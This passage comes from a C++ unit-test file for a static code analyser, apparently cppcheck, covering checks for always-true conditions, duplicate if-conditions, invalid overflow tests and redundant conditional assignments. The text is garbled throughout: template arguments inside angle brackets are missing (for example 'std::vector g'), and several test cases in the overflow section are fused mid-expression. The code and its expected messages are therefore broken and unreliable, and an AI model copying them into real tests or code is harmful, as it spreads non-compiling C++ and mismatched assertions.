ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) {\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n 